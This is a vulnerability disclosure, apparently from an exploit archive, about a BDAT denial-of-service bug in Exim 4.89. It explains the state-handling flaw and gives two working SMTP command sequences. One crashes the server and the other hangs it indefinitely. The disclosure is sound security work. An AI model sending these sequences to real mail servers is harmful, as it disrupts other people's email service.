Exim 4.89 - 'BDAT' Denial of Service

来源：https://github.com/Exim 作者：meh 发布时间：2017-11-28

While parsing BDAT data header, exim still scans for '.' and consider it the end of mail.
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867

Exim goes into an incorrect state after this message is sent because the function pointer receive_getc is not reset. If the following command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to running out of stack.
https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547

Here is a simple PoC which leads to an infinite loop and program crash:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0

============================

We also found that this vulnerability can make exim hang(go into an infinite loop without crashing and run forever) even the connection is closed. It seems like this can be used to raise a resource based DoS attack.
This can be triggered using the following command:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 100
.
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 0 LAST

// Tested on current master, ubuntu16.04.
